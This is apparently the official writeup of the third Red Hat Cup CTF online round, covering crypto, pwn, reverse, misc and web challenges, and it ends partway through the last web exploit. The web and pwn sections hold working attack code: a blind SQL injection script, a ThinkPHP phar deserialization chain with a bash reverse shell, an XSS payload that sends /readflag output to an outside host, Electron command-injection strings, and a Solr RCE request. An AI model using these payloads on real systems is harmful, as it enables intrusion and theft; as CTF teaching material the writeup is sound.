第三屆紅帽杯網絡安全攻防大賽官方WP

11月11日上午9點,第三屆紅帽杯網絡安全攻防大賽線上賽圓滿結束!

本次線上賽比賽時長爲24個小時,賽題包括web題目4道,pwn題目3道,crypto題目4道、reverse題目5道,misc題目4道,共計20道賽題,以下是本次線上賽的writeup(解題思路):

精明的Alice

在這裏插入圖片描述

#!/usr/bin/sage -python
from sage.all import *
from Crypto.Util import number
from Crypto.PublicKey import RSA
from hashlib import sha256


Usernames = ['Alice', 'Bob', 'Carol', 'Dan', 'Erin']
A = sha256( b'Alice' ).hexdigest()

PKs = []
Ciphers = []
B = []
for i in range(4):
    name = Usernames[i+1]

    pk = open(name+'Public.pem', 'rb').read()
    PKs.append( RSA.importKey(pk) )

    cipher = open(name+'Cipher.enc', 'rb').read()
    Ciphers.append( number.bytes_to_long(cipher) )

    data = '{"from": "'+A+'", "msg": "'+'\x00'*95+'", "to": "'+sha256( name.encode() ).hexdigest()+'"}'
    B.append( number.bytes_to_long(data) )

PR = PolynomialRing(ZZ, 'x')
x = PR.gen()

Fs = []
for i in range(4):
    f =  PR( ( 2**608*x + B[i] )**PKs[i].e - Ciphers[i] )
    ff = f.change_ring( Zmod(PKs[i].n) )
    ff = ff.monic()
    f = ff.change_ring(ZZ)
    Fs.append(f)

F = crt( [ Fs[0]**2, Fs[1]**2, x*Fs[2], x*Fs[3] ], [ PKs[i].n for i in range(4) ] )

M = reduce( lambda x, y: x * y, [ PKs[i].n for i in range(4) ] )
FF = F.change_ring( Zmod(M) )

m = FF.small_roots(X=2**760, beta=7./8)[0]
print 'msg: ' + number.long_to_bytes(m)

Related

  1. Franklin and Reiter 在 95 年提出了當 e=3 時的 linear protocol failure, 隨後和 Coppersmith, Patarin 發佈了 Low-exponent RSA with related messages(https://link.springer.com/chapter/10.1007/3-540-68339-9_1), 討論了更一般化的情形。

  2. 題中 PRNG 的 State 線性相關, 並給出了初始狀態下 State 的和, 據此可以構造同餘方程組, 計算 Gtoebner Basis 解出初始狀態獲得 flag。
    在這裏插入圖片描述

#!/usr/bin/sage -python
from Crypto.Util import number
from sage.all import *


N = 16084923760264169099484353317952979348361855860935256157402027983349457021767614332173154044206967015252105109115289920685657394517879177103414348487477378025259589760996270909325371731433876289897874303733424115117776042592359041482059737708721396118254756778152435821692154824236881182156000806958403005506732891823555324800528934757672719379501318525189471726279397236710401497352477683714139039769105043411654493442696289499967521222951945823233371845110807469944602345293068346574630273539870116158817556523565199093874587097230314166365220290730937380983228599414137341498205967870181640370981402627360812251649
Cs = [10607235400098586699994392584841806592000660816191315008947917773605476365884572056544621466807636237415893192966935651590312237598366247520986667580174438232591692369894702423377081613821241343307094343575042030793564118302488401888197517625333923710172738913771484628557310164974384462856047065486913046647133386246976457961265115349103039946802386897315176633274295410371986422039106745216230401123542863714301114753239888820442112538285194875243192862692290859625788686421276234445677411280606266052059579743874849594812733193363406594409214632722438592376518310171297234081555028727538951934761726878443311071990L, 2665348075952836665455323350891842781938471372943896177948046901127648217780657532963063228780230203325378931053293617434754585479452556620021360669764370971665619743473463613391689402725053682169256850873752706252379747752552015341379702582040497607180172854652311649467878714425698676142212588380080361100526614423533767196749274741380258842904968147508033091819979042560336703564128279527380969385330845759998657540777339113519036552454829323666242269607225156846084705957131127720351868483375138773025602253783595007177712673092409157674720974653789039702431795168654387038080256838321255342848782705785524911705L, 4881225713895414151830685259288740981424662400248897086365166643853409947818654509692299250960938511400178276416929668757746679501254041354795468626916196040017280791985239849062273782179873724736552198083211250561192059448730545500442981534768431023858984817288359193663144417753847196868565476919041282010484259630583394963580424358743754334956833598351424515229883148081492471874232555456362089023976929766530371320876651940855297249474438564801349160584279330339012464716197806221216765180154233949297999618011342678854874769762792918534509941727751433687189532019000334342211838299512315478903418642056097679717L, 12534425973458061280573013378054836248888335198966169076118474130362704619767247747943108676623695140384169222126709673116428645230760767457471129655666350250668322899568073246541508846438634287249068036901665547893655280767196856844375628177381351311387888843222307448227990714678010579304867547658489581752103225573979257011139236972130825730306713287107974773306076630024338081124142200612113688850435053038506912906079973403207309246156198371852177700671999937121772761984895354214794816482109585409321157303512805923676416467315573673701738450569247679912197730245013539724493780184952584813891739837153776754362L]
s = 280513550110197745829890567436265496990

e = 17
l = len(Cs)
PR = PolynomialRing( Zmod(N), 'x', l )
x = PR.gens()
f1 = (65537*x[0] - 66666*x[1] + 12345*x[2] - x[3])
f2 = x[0] + x[1] + x[2] - s
Fs = [f1, f2]
Fs.extend( [ (x[i]**e - Cs[i]) for i in range(l) ] )
I = Ideal(Fs)
B = I.groebner_basis()
m = ''
for b in B[:-1][::-1]:
    assert b.degree() == 1
    mi = ZZ( -b(0,0,0,0) )
    m += number.long_to_bytes(mi)
print m

Boom

在這裏插入圖片描述

from pwn import *
from Crypto.Util.number import *
import string
from hashlib import sha256

#context.log_level = 'debug'

def proof():
    r.recvuntil('sha256(XXXX+')
    msg = r.recv(16)
    r.recvuntil(') == ')
    hsh = r.recv(64)
    found = iters.mbruteforce(lambda x:sha256(x+msg).hexdigest()==hsh, string.ascii_letters+string.digits, length = 4, method = 'fixed')
    r.sendlineafter('Give me XXXX:', found)

def send(msg, mode):
    if mode not in ['enc', 'dec', 'cmd']:
        return
    s = '/' + mode + ' '
    for i in msg:
        s += long_to_bytes(i, 8).encode('hex')
    r.sendline(s)

def recv():
    data = r.recvline().strip().decode('hex')
    if len(data) % 8 != 0:
        return
    d = []
    for i in range(len(data) // 8):
        m = data[8*i:8*(i+1)]
        d.append(bytes_to_long(m))
    return d

r = remote('127.0.0.1', 10000)
proof()
r.recvuntil('boom!!!\n\n')

send([0, 0], 'enc')
EE0 = recv()[1]

def enc(m):
    send([0, 0, m ^ EE0], 'enc')
    c = recv()[2]
    return c

E0 = enc(0)

def dec(c):
    send([0, c], 'dec')
    m = recv()[1] ^ E0
    return m

ls = bytes_to_long('ls')
E_ls = enc(ls)
send([E_ls], 'cmd')
print r.recv()

p0 = bytes_to_long('cat flag')
d = 0x0200000282808082
p1 = p0 ^ d
c1 = enc(p1)
c3 = c1 ^ d
p3 = dec(c3)
p2 = p3 ^ d
c2 = enc(p2)
c0 = c2 ^ d
send([c0], 'cmd')
print r.recv()

r.close()

Advertising for Marriage

  1. 使用Volatility分析內存鏡像,取出vegetable.png並提取出msspaint和notepad這兩個進程的數據。
    在這裏插入圖片描述
  2. strings 查看notepad數據得到一半hint,另外一半用gimp調試畫圖進程的數據得到b1cx。
    在這裏插入圖片描述
    在這裏插入圖片描述
  3. 再看提取出來的vegetable.png,發現剪貼板的內容,修改高度,得到圖片,並沒有flag。
    在這裏插入圖片描述
    4.嘗試lsb解密,密鑰爲b1cxneedmoneyandgirlfirend,解出txt文件,內容爲維吉尼亞密碼,再次使用該密鑰解密得到flag。
    在這裏插入圖片描述
    在這裏插入圖片描述
    在這裏插入圖片描述

惡臭的數據包

  1. 打開流量包,發現全是802.11協議的數據,嘗試用aircrack-ng爆破密碼,得到密碼爲12345678。
    在這裏插入圖片描述
  2. 得到密碼之後用airdecap-ng解密數據包得到原始流量。
    3.
    在這裏插入圖片描述
  3. 發現流量裏存在圖片以及圖片隱藏的flag.zip壓縮包。
    在這裏插入圖片描述
    在這裏插入圖片描述
    在這裏插入圖片描述
  4. 解密jwt,解出token內容,之後瞭解到壓縮包的密碼爲 ping過的域名。
    在這裏插入圖片描述
  5. 查看dns的解析記錄得到密碼爲26rsfb.dnslog.cn,解密壓縮包得到flag。
    在這裏插入圖片描述

玩具車

根據題目給的資料,得知驅動型號是L298N,找到相應的使用手冊和接線方式,理解每個控制信號的含義,這裏列出具體條件,4個電機都是這樣的,B通道的同理。
在這裏插入圖片描述
拿到波形,用Audacity查看,發現波形很有規律,單位都是1秒,工具可以分析出採樣率爲8000。
在這裏插入圖片描述
先轉換成01序列,使用腳本readWave2Seq.py,然後可以得到每個端口的高低電平序列了。核心邏輯如下:

sample_rate, sig = wavfile.read(filename)
    seq = ""
    for i in range(0, len(sig), sample_rate):
        if sig[i] > 1000:
            seq += "1"
        else:
            seq += "0"

轉換出來每個波形都對應一個01序列,挑一個對照一下,前4秒高電平,即1111
在這裏插入圖片描述
結合之前驅動的工作條件,組合每個端口電平狀態,還原成車輪運動。例如:
在這裏插入圖片描述
有了每個輪子的運動狀態,就能推斷車子的運動了。下表對應的是每個車輪運動狀態與整車的運動狀態,以車頭爲正方向,前輪爲輪12,後輪爲34
在這裏插入圖片描述
最後使用turtle庫來模擬小車運動,動作有

# 前進
turtle.forward(20)
turtle.backward(20)
# 旋轉90°
turtle.left(90)
turtle.right(90)

運行solve.py,開始還原
在這裏插入圖片描述
在還原的時候值得注意的是使能端口En的狀態,如果En爲低,即使控制信號有,也是不會驅動電機。
在這裏插入圖片描述
如果選手沒有注意到這一點,那麼還原出來的路徑就會混亂。
在這裏插入圖片描述

Three

  1. 題目是靜態編譯切strip了符號表。
  2. 先逆向或者是還原符號表。
    3.題目本身沒有漏洞給了3個字節的shellocde執行空間,這個空間下能執行2個彙編指令左右。
  3. 調試發現rdx會因爲read的原因有殘留在寄存器裏,利用這個寄存器可以實施盲注,最後跑個循環就可以盲注出flag。
from pwn import *
import sys
debug=1

#context.log_level='debug'
p=None
def ru(x):
    return p.recvuntil(x)

def se(x):
    p.send(x)

def sl(x):
    p.sendline(x)


def ccc(idx,q):
    global p
    if debug:
        p=process('./pwn')
        #gdb.attach(p)
    else:
        p=remote('172.29.2.106',9999)
    ru('Give me a index:')
    sl(str(idx))
    ru('Three is good number,I like it very much!')
    se('RX\xc3')
    ru('Leave you name of size:')
    sl(str(q))
    ru('Tell me:')
    se("peanuts")
    p.recvuntil("\n")
    data = ru("\n")
    p.close()
    if data[0]=='1':
        return True
    return False


flag = ''
charset ='{}_ '+ string.ascii_letters + string.digits + string.punctuation
for i in range(38):
    for q in charset:
        if  ccc(i,ord(q)+1):
            flag+=q
            print(flag)
            break
print flag

萬花筒

  1. c++的編譯文件;
  2. 先反編譯pwn,還原程序結構;
  3. llvm可以導入庫函數,當def定義的函數有問題時,會引入同名庫函數;
  4. 引入mmap分配內存,read讀入"/bin/sh",system執行命令。
from pwn import *

debug = 0
context.log_level="debug"

if debug:
    p = process("./toy")
    gdb.attach(p)
else:
    p = remote('192.168.5.130',8888)

p.sendlineafter(">","def mmap(start length prot flags fd offset) a;")
p.sendlineafter(">","def read(fd buf length) a;")
p.sendlineafter(">","def system(x) a;")
p.sendlineafter(">","mmap(1048576,4096,3,34,mmap(1048576,4096,3,34,3,0),0);")
p.sendlineafter(">","read(0,1048576,10);")
sleep(1)
p.sendlineafter(">","/bin/sh\0")
p.sendlineafter(">","system(1048576);")
p.interactive()

Calc

  1. 程序利用C++中的STL實現了大數運算,整個題目邏輯是輸入大數a、b、c,經過一些(故意)複雜的計算,等價於a^3 + b^3 - c^3 == 42,要求 c > a > b,這個方程是前不久超級計算機計算出的三個大數,是丟番圖方程的一個例子。

  2. (-80538738812075974)³+80435758145817515³+12602123297335631³=42

  3. 題目中大量的操作符重載,STL(主要是vector)的使用,在windows平臺下難以看出邏輯,還有幾個故意用作混淆的計算,Sleep(0x75BCD15u);這些Sleep直接nop掉。

  4. 關鍵計算邏輯如下:

· 輸入abc, c>a>b

· 計算結果calc1 == (a+b)^3 - 3abb - 3aab也就是a3+b3

· 計算結果calc2==(4+c)^3 + 34cc + 344c也就是4^3 + c^3 - 22 ,也就是c^3+42

· 這裏是湊了一個64出來,是4的立方,用於湊立方和公式

本題需要很多動態調試進行嘗試來猜測程序邏輯,如果對丟番圖方程比較熟悉,單是解方程不會很慢,但因爲是C++ STL,代碼量很大,逆向難度比較高,預期比賽解題數量比較少。

解題:把Sleep和一大堆cout全部nop掉之後,輸入

80435758145817515

12602123297335631

80538738812075974

會得到結果:

80435758145817515
12602123297335631
80538738812075974
You win!
flag{MD5("804357581458175151260212329733563180538738812075974").tolower()}

最終計算md5,得到flag{951e27be2b2f10b7fa22a6dc8f4682bd}

children

  1. 程序讀入31個字符,先進行一些二叉樹的變換。31個字符用於層次建立滿二叉樹,一共五層,再後序遍歷,結果保存,記作result

  2. 將result的值作爲參數放入函數UnDecorateSymbolName,這是MSVC++中關於名稱解析的一個函數,目前沒有找到它的“反函數”,也就是說這裏求逆需要選手自行了解名稱粉碎的規則,從而求逆。學習鏈接 https://www.cnblogs.com/victor-ma/p/4184806.html

  3. 第二步獲得的結果長度爲62,記作out

  4. out的每一個字符分別除以23,模23,獲得2個值,再去字符集set中,以這個值作爲下標獲得一個字符,存入2個結果數組中。詳見源碼(可逆)。

easyRE

  1. 根據字符串進入main函數,一開始有一個簡單的異或循環下標i的運算,簡單求逆得到。
  2. Info:The first four chars are flag
  3. 前四個字符是flag
  4. 然後再獲取一個39長度的輸出,作爲一個函數的參數連續調用10次,根據碼錶特徵很容易得出是base64,連續解密10次得到預期輸入https://bbs.pediy.com/thread-254172.htm
  5. 可以看到這是一篇看雪上講 主動防禦的文章,關鍵就是把破解者往溝裏帶,讓破解者在解題的過程中以爲自己不斷地接近真相,但是最後卻是假的flag
  6. 本題設計思路是,先設計一條路線,本來這條路線存放了正確的flag,然後再把flag換成假的,再在一個隱蔽的路線放上真的flag。也就是文章中提到的國王換成了王后,這樣可以先騙過自己再欺騙破解者。
  7. 真正的flag邏輯在init和fini中,也就是main函數之前和之後。
  8. init中獲取一個時間t1,main結束,運行到fini時再獲取一個時間t2,獲得時間差t2-t1,然後將時間差作爲隨機數,反覆獲取隨機數再作爲種子並異或一個數值,最終會得到int型magic,將這個int數拆成4個char,用於分組異或enc[i%4],最終如果獲得25個dec字符,如果第一個和第四個對應是f和g,也就是flag的第一個和第四個字符。那麼就會循環把這個字符串打印出來。
  9. 這也正是題目一開始提示的。
  10. Info:The first four chars are flag
  11. 解題,直接反推出用於最後異或的整形magic,直接將enc的前四個字符異或flag即可得到,然後將這個magic拆成4個char,4個一組異或完25個enc字符即可得到真正的flag
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

int main() {
    char enc1[36] = {
        0x49,0x6f,0x64,0x6c,0x3e,0x51,0x6e,0x62,
        0x28,0x6f,0x63,0x79,0x7f,0x79,0x2e,0x69,
        0x7f,0x64,0x60,0x33,0x77,0x7d,0x77,0x65,
        0x6b,0x39,0x7b,0x69,0x79,0x3d,0x7e,0x79,
        0x4c,0x40,0x45,0x43
    };
    for (int i = 0; i < 36; i++) {
        printf("%c", enc1[i] ^ i);
    }
    printf("\n");

    unsigned char final_enc[25] = {
        0x40,0x35,0x20,0x56,0x5d,0x18,
        0x22,0x45,0x17,0x2f,0x24,0x6e,
        0x62,0x3c,0x27,0x54,0x48,0x6c,
        0x24,0x6e,0x72,0x3c,0x32,0x45,0x5b
    };
    unsigned char buf[4] = {
        'f' ^ final_enc[0],
        'l' ^ final_enc[1],
        'a' ^ final_enc[2],
        'g' ^ final_enc[3],
    };
    for (int i = 0; i < 25; i++) {
        printf("%c", buf[i % 4] ^ final_enc[i]);
    }
    printf("\n");

}

Snake

  1. 運行遊戲,用dnspy分析C#邏輯。
  2. 發現表面上的代碼一切都很正常,搜字符串也沒有和flag有關的,慢慢看各個類,發現可疑的類Interface
    在這裏插入圖片描述
  3. 看函數名有點像Unity系統的一些東西,但實際上不是,對C#和C++混合編程熟悉的人會發現,這是C#調用C++函數的通用寫法,實際上這是一個外部導入的.dll,由C++編寫,按Unity的規則,dll被存放在附件遊戲目錄的 Snake\Snake_Data\Plugins\Interface.dll
  4. 下面看看這個可疑的類做了什麼,它表面上含有6個函數,但實際上只有1個函數,即
[DllImport("Interface", CallingConvention = CallingConvention.Cdecl)]
    public static extern int GameObject(int x, int y);

被調用了,在SnakeHead的Move函數的末尾,有一句

Debug.Log(Interface.GameObject((int)base.gameObject.transform.position.x, (int)base.gameObject.transform.position.y));

這個函數將蛇頭在Unity中的絕對座標(x,y)傳入C++處理,接下來我們用IDA分析Interface.dll得到dll的邏輯,爲清晰,下面用出題源碼解釋(源碼見源碼\SnakeCpp)
5. GameObject函數如下

XD_DLL_EXPORT_FN int GameObject(int eee, int ddd)
{
    if (eee < 0)
    {
        BigInt fake_flag("35297982045181952350813323813224883208572049226586980");
        string sfake_flag = temp == "null" ? temp = FromInt(fake_flag) : temp;
        cout << "If SKT win S9 champion" << "this is real flag" << endl;
        cout << sfake_flag << endl;
        return -1;
    }
    else if (eee > 1 && eee < 100)
    {
        BigInt N("139907262641720884635250105449327463531131227516500497307311002094885245322386805049406878643982216326493527702414689439930090794753345844178528356178539094825247389836142928474607108262267087850211322640806135698076207986818086837911361480181444157057782599277473843153161174504240064610043962720953514451563");
        BigInt s("79981856490856999850671700360733120831999995589421207460490185876531860518527597767905168099182891345123878966403548022646956365158864209467614850251731806682037300712511185681164865174187586907707195428804234739667769742078793162639867922056194688917569369338005327309973680573581158754297630654105882382426");
        BigInt e(to_string(eee));
        BigInt c = mod_fast(s, e, N);
        string str = FromInt(c);
        if (StartWith(str, "flag"))
        {
            cout << "You win! flag is " << endl;
            cout << str << endl;
        }
        else
        {
            cout << "Try again" << endl;
        }
        return 7;
    }
    else if (eee > 100 && eee < 200)
    {
        BigInteger N("139907262641720884635250105449327463531131227516500497307311002094885245322386805049406878643982216326493527702414689439930090794753345844178528356178539094825247389836142928474607108262267087850211322640806135698076207986818086837911361480181444157057782599277473843153161174504240064610043962720953514451563");
        BigInteger s("122107611316850260321590575768393047216806481837919054910332579385088745494833866045797079936947058335743437609060618364037361749600119005166359303873659401522100249312696661209787316369738806133852177861917757996075304470648951037632182891401322685617735478597953000103146149534977902885706852338811895661809");
        BigInteger e(to_string(eee));
        BigInteger c = s.modPow(e, N);
        if (c.equals(BigInteger("7777777")))
        {
            cout << "EDG fight for S10" << endl;
            cout << "You fight for the next snake" << endl;
        }
        else
        {
            cout << "EDG failed to fight for their S9" << endl;
            cout << "But you can fight for next snake" << endl;
        }
    }
    return 996;
}

觀察發現
· eee < 0時,是假flag邏輯,FromInt(fake_flag)的結果是fake_flag{f1@g_1$_N0t_H3re}
· 1 < eee < 100時,是一個RSA的解密過程,用eee轉BigInt,作爲公鑰e,解密被私鑰加密過的s,大數爲N,即 c = (s^e)mod N,再將調用FromInt©,存入str,如果str的開頭子串是flag,那麼就說明解密對了,str就是最後的flag
· 100 < eee < 200時,也不是正確邏輯,用的大數類是BigInteger,構造函數接受16進制字符串,解不出flag,而1 < eee <100時,用的大數類是BigInt,構造函數接受10進制字符串,可以解出flag

  1. 分析BigInt類和BigInteger類這裏就不介紹了,兩個類都是表示大整數的類,BigInt底層拿string表示,BigInteger拿vecotr+大進製表示,用作RSA的底層,內部運算函數都是正確的,沒有挖坑,唯一要注意的是由於大數底層並非高效實現,支持不了特別大數的模冪運算,如果在動態調試的時候將GameObject(int eee, int ddd)的eee參數改成進入1<eee<100和100<eee<200的分支,程序會在計算BigInteger c = s.modPow(e, N)時花很久很久的時間,遊戲直接卡住。

  2. 分析GameObject函數中調用的FromInt函數.

//將大數n按 8bit 拆分,轉char組成字符串
inline string FromInt(BigInt n)
{
    string str;

    if (n.flag == false)
    {
        str = "0";
    }
    else
    {
        while (n.values != "0")
        {
            BigInt m = n % BigInt("255");
            n = n / BigInt("255");
            str = (char)atoi(m.values.data()) + str;
        }
    }

    return str;
}

FromInt函數將大數n轉爲string,規則爲:將大數n的每8bit轉爲char,然後拼入str,str的低位對應n的低位,str的高位對應n的高位。
解題:根據上面分析,只要對1 < eee <100的情況進行爆破就行了。
exp:

N =139907262641720884635250105449327463531131227516500497307311002094885245322386805049406878643982216326493527702414689439930090794753345844178528356178539094825247389836142928474607108262267087850211322640806135698076207986818086837911361480181444157057782599277473843153161174504240064610043962720953514451563

s=79981856490856999850671700360733120831999995589421207460490185876531860518527597767905168099182891345123878966403548022646956365158864209467614850251731806682037300712511185681164865174187586907707195428804234739667769742078793162639867922056194688917569369338005327309973680573581158754297630654105882382426

str = ""

def FromInt(num):
    str = ""
    while num != 0:
        n = (int)(num % 255)
        c = chr(n)
        num = (int)(num // 255)
        str = c + str
    return str

for e in range(1, 100):
    num = pow(s, e, N)
    flag = FromInt(num)
    if flag.startswith("flag") == True:
        print(flag)

xx

  1. 輸入19長度的字符串,xxtea加密,密鑰是輸入的字符串的前四個字符,同時要求前四個字符在一個字符集set中,生成結果後下標變換,最後進入一個比較特殊的但是仍然可逆的異或算法,要求和數組相等。
  2. 解題:先將toCheck(所有加密後的結果)逆回異或前的結果,再進行下標變換,最終爆破set中取出的4字符key,try: 解密,如果解密後的明文的前四個字符==key(四字符),就得到了flag.
#include "stdint.h"
#include "string.h"
#include "stdio.h"
#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))

void btea(uint32_t* v, int n, uint32_t const key[4]) {
    uint32_t y, z, sum;
    unsigned p, rounds, e;
    if (n > 1) {          /* Coding Part */
        rounds = 6 + 52 / n;
        sum = 0;
        z = v[n - 1];
        do {
            sum += DELTA;
            e = (sum >> 2) & 3;
            for (p = 0; p < n - 1; p++) {
                y = v[p + 1];
                z = v[p] += MX;
            }
            y = v[0];
            z = v[n - 1] += MX;
        } while (--rounds);
    }
    else if (n < -1) {  /* Decoding Part */
        n = -n;
        rounds = 6 + 52 / n;
        sum = rounds * DELTA;
        y = v[0];
        do {
            e = (sum >> 2) & 3;
            for (p = n - 1; p > 0; p--) {
                z = v[p - 1];
                y = v[p] -= MX;
            }
            z = v[n - 1];
            y = v[0] -= MX;
            sum -= DELTA;
        } while (--rounds);
    }
}
unsigned char res[24] = { 0xce,0xbc,0x40,0x6b,0x7c,0x3a,0x95,0xc0,0xef,0x9b,0x20,0x20,0x91,0xf7,0x02,0x35,0x23,0x18,0x02,0xc8,0xe7,0x56,0x56,0xfa };
unsigned char set[37] = "qwertyuiopasdfghjklzxcvbnm1234567890";

int main() {
    unsigned char tmp[25] = { 0 };
    unsigned char cipher[25] = { 0 };
    unsigned char key[17] = { 0 };

    for (int i = 23; i > 0; i--) {
        for (int j = 0; j < i / 3; ++j) {
            res[i] ^= res[j];
        }
    }
    for (int k = 0; k < 6; ++k) {
        tmp[4 * k + 2] = res[4 * k + 0];
        tmp[4 * k + 0] = res[4 * k + 1];
        tmp[4 * k + 3] = res[4 * k + 2];
        tmp[4 * k + 1] = res[4 * k + 3];
    }
    for (int i0 = 0; i0 < 36; ++i0) {
        printf("%d\n", set[i0]);
        for (int i1 = 0; i1 < 36; ++i1) {
            for (int i2 = 0; i2 < 36; ++i2) {
                for (int i3 = 0; i3 < 36; ++i3) {
                    key[0] = set[i0]; key[1] = set[i1]; key[2] = set[i2]; key[3] = set[i3];
                    memcpy(cipher, tmp, 24);
                    btea((unsigned int*)cipher, -6, (unsigned int*)key);
                    if (cipher[0] == set[i0] && cipher[1] == set[i1] && cipher[2] == set[i2] && cipher[3] == set[i3]) {
                        printf("%s", cipher);
                        printf("%s", key);
                    }
                }
            }
        }
    }
}

easyweb

存在sql注入,注入點:

/?s=/Api/Lt/gbooklist&orderby=if(ascii(substr((select%20flaag%20from%20fl4g),{},1))={},sleep(6),1)%23

注入腳本:

import requests
import sys
import string
flag = ''
url = sys.argv[1]
url = url.rstrip('/')
url = url+'?s=/Api/Lt/gbooklist&orderby=if(ascii(substr((select flaag from fl4g),{},1))={},sleep(6),1)%23'
for i in xrange(1,50):
    for j in xrange(45,127):
        try:
            a = requests.get(url.format(i,j),timeout=3)
        except:
            flag+=chr(j)
            print flag

Ticket—System

  1. 隨便登錄一個用戶,在填寫 Ticket 上傳的地方發現有 xxe 漏洞。
    在這裏插入圖片描述
  2. 根據首頁源代碼提示:
  <!-- hint in /hints.txt -->
       <!-- Not the web root directory. In the ystem root directory-->
  嘗試讀取 hints.txt

You’r clever. But not enough. Try RCE!
發現 404 ⻚面提示爲 thinkphp 系統
在這裏插入圖片描述
3.挖掘 Thinkphp pop 鏈,可用 phar 反序列化.
exp:

<?php
namespace think\process\pipes {
    class Windows
    {
        private $files;
        public function __construct($files)
        {
            $this->files = array($files);
        }
    }
}

namespace think\model\concern {
    trait Conversion
    {
        protected $append = array("Zedd" => "1");
    }

    trait Attribute
    {
        private $data;
        private $withAttr = array("Zedd" => "system");

        public function get($system)
        {
            $this->data = array("Zedd" => "$system");
        }
    }
}
namespace think {
    abstract class Model
    {
        use model\concern\Attribute;
        use model\concern\Conversion;
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
        public function __construct($system)
        {
            $this->get($system);
        }
    }
}

namespace {
    $Conver = new think\model\Pivot("bash -c 'sh >& /dev/tcp/一個IP/2015 0>&1'");
    $payload = new think\process\pipes\Windows($Conver);
    ini_set('phar.readonly',0);
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //後綴名必須爲phar
    $phar->startBuffering();
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //設置stub
    $phar->setMetadata($payload); //將自定義的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要壓縮的文件
    //簽名自動計算
    $phar->stopBuffering();
    rename('phar.phar','phar.xml');
}
?>

在這裏插入圖片描述
4. 上傳文件拿到存放路徑後,發送 payload 觸發反序列化
在這裏插入圖片描述
5.收到反彈的 shell ,執行 /readflag 拿到 flag.
在這裏插入圖片描述

iCloudMusic

  1. 首先尋找XSS,XSS的點很清晰就是js_to_run處的動態拼接js,header處用url.parse處理url.
  2. fuzz所有unicode可以發現\uff07可以逃逸出單引號,因此只需要發送如下的url即可XSS.
http://www.baidu.com'}**/;eval(String.fromCharCode(111,112,101,110,40,39,104,116,116,112,58,47,47,120,120,120,120,46,99,111,109,37,69,70,37,66,67,37,56,55,59,37,48,48,63,59,99,117,114,108,36,73,70,83,36,57,104,116,116,112,58,47,47,49,50,48,46,55,57,46,49,56,46,49,55,49,58,53,53,53,53,47,36,40,47,114,101,97,100,102,108,97,103,41,59,35,47,97,115,100,97,115,100,97,115,100,37,48,48,37,49,48,39,41))//

  1. 查看源碼可以發現main.js中攔截了new-window事件,如果openExternal失敗後會執行命令打開url,然而electron的window.open 默認通過瀏覽器a標籤來處理,因此這裏有兩個解題思路:
  1. 原形鏈污染覆蓋a標籤的getter.
var f=document.createElement('a');
f.__proto__.__defineGetter__('href',function(){return "http://xxxx.com'%3B%00/?;$(open$IFS$9-a$IFS$9Calculator);#/asdasdasd%00%10"});
window.open('http://www.baidu.com');
  1. 用一個更寬的字節。
open("http://xxxx.com%EF%BC%87;%00?;$(open$IFS$9-a$IFS$9Calculator);#/asdasdasd%00%10")

Bank—service

  1. 打開網頁後,查看源碼可發現通過socket.io建立socket連接與後端交互。
  2. 交互提示後臺使用solr提供搜索服務,聯繫websocket猜測可能是websocket-smuggle
  3. 訪問/solr提示403,於是⽤用websocket-smuggle訪問發現可正常訪問。
  4. 嘗試命令執行行,無法外帶,只能構造回顯,參考 https://paper.seebug.org/1009/ ,可以嘗試利利用 ContentStreamDataSource 構造回顯,seebug的paper中沒有給出poc因此需要參考solr文檔構造回顯。
    exp:
import socket

req1 = '''GET /socket.io/?transport=websocket HTTP/1.1
Host: localhost:80
Sec-WebSocket-Version: 1337
Upgrade: websocket

'''.replace('\n', '\r\n')


req2 = '''POST /solr/mail/dataimport?dataConfig=%3CdataConfig%3E%0A%3CdataSource%20name%3D%22streamsrc%22%20type%3D%22ContentStreamDataSource%22%20loggerLevel%3D%22TRACE%22%20/%3E%0A%3Cscript%3E%3C%21%5BCDATA%5B%0A%20%20%20%20%20%20%20%20%20%20function%20poc%28row%29%7B%0A%20%20%20%20%20%20%20%20var%20j%3Dnew%20java.io.BufferedReader%28new%20java.io.InputStreamReader%28java.lang.Runtime.getRuntime%28%29.exec%28%22/readflag%22%29.getInputStream%28%29%29%29%3B%0A%20%20%20%20%20%20%20%20var%20line%3Dj.readLine%28%29%3B%0A%20%20%20%20%20%20%20%20var%20res%3D%22%22%3B%0A%20%20%20%20%20%20%20%20while%28line%21%3Dnull%20%26%26%20line%21%3Dundefined%29%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20res%3Dres%2Bline%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20line%3Dj.readLine%28%29%3B%0A%20%20%20%20%20%20%20%20%7D%0A%09%09row.put%28%22title_s%22%2Cres%29%3B%0A%09%09return%20row%3B%0A%09%7D%0A%20%20%5D%5D%3E%3C/script%3E%0A%3Cdocument%3E%0A%20%20%20%20%3Centity%0A%20%20%20%20%20%20%20%20stream%3D%22true%22%0A%20%20%20%20%20%20%20%20name%3D%22streamxml%22%0A%20%20%20%20%20%20%20%20datasource%3D%22streamsrc1%22%0A%20%20%20%20%20%20%20%20processor%3D%22XPathEntityProcessor%22%0A%20%20%20%20%20%20%20%20rootEntity%3D%22true%22%0A%20%20%20%20%20%20%20%20forEach%3D%22/books/book%22%0A%20%20%20%20%20%20%20%20transformer%3D%22script%3Apoc%22%20%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cfield%20column%3D%22res_s%22%20template%3D%22some%20static%20payload%22/%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cfield%20column%3D%22title_s%22%20xpath%3D%22/books/book/name%22/%3E%0A%20%20%20%20%3C/entity%3E%0A%3C/document%3E%0A%3C/dataConfig%3E&command=full-import&debug=true HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-type: application/xml
X-Requested-With: XMLHttpRequest
Content-Length: 135
Connection: close
Referer: http://localhost:8983/solr/
